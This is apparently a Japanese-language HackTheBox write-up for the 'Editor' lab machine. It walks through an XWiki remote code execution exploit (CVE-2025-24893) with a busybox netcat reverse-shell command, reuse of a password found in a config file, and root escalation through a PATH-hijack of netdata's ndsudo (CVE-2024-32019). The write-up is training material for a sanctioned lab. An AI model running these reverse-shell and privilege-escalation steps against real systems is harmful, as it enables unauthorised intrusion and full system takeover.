📑
[HackTheBox] Editor-writeup
machine info
- Services may take up to 5 minutes to load
- Linux-Easy
recon
┌──(notthei㉿kali)-[~]
└─$ nmap -sCV -T4 10.10.11.80
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-27 00:04 JST
Nmap scan report for editor.htb (10.10.11.80)
Host is up (0.49s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Editor - SimplistCode Pro
8080/tcp open http Jetty 10.0.20
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Jetty(10.0.20)
| http-methods:
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
| http-title: XWiki - Main - Intro
|_Requested resource was http://editor.htb:8080/xwiki/bin/view/Main/
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
| http-webdav-scan:
| WebDAV type: Unknown
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_ Server Type: Jetty(10.0.20)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.37 seconds
user
8080番のポートにアクセスするとXWiki Debian 15.10.8 というwebサイトが表示されました。
XWiki Debianについての脆弱性を調べているとCVE-2025-24893がヒットしました。
このexploitを使用します。
┌──(notthei㉿kali)-[~]
└─$ python3 CVE-2025-24893.py -t' http://editor.htb:8080/' -c 'busybox nc 10.10.16.49 4545 -e /bin/bash'
┌──(notthei㉿kali)-[~]
└─$ nc -lvnp 4545
listening on [any] 4545 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.80] 44172
whoami
xwiki
xwikiに侵入できました。
/homeにoliverというユーザ情報を発見しました。
色々調べると/usr/lib/xwiki/WEB-INF/hibernate.cfg.xmlにパスワードらしき文字列を発見しました。
oliverにsshで接続することができました。
oliver@editor:~$ ls
user.txt
root
rootで動いているサービスを調べます。
oliver@editor:~$ find / -type f -perm -4000 -user root
/opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network
/opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/local-listeners
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
/opt/netdata/usr/libexec/netdata/plugins.d/ioping
/opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
ndsudoが怪しく、CVE-2024-32019という脆弱性情報がヒットしました。
このPoCを使用します。
ローカルでビルドしてから送ります。
┌──(notthei㉿kali)-[~/HTB/Editor]
└─$ x86_64-linux-gnu-gcc -o nvme CVE-2024-32019.c -static
┌──(notthei㉿kali)-[~/HTB/Editor]
└─$ ls
cre.txt CVE-2024-32019.c CVE-2025-24898.py nvme xml.xml
┌──(notthei㉿kali)-[~/HTB/Editor]
└─$ scp nvme oliver@editor.htb:~/
oliver@editor.htb's password:
nvme 100% 741KB 87.4KB/s 00:08
実行すると指定したIP:portにrootシェルが転送されます。
PATH=$(pwd):$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
──(notthei㉿kali)-[~/HTB/Editor]
└─$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.80] 37472
root@editor:/tmp# whoami
whoami
root
Discussion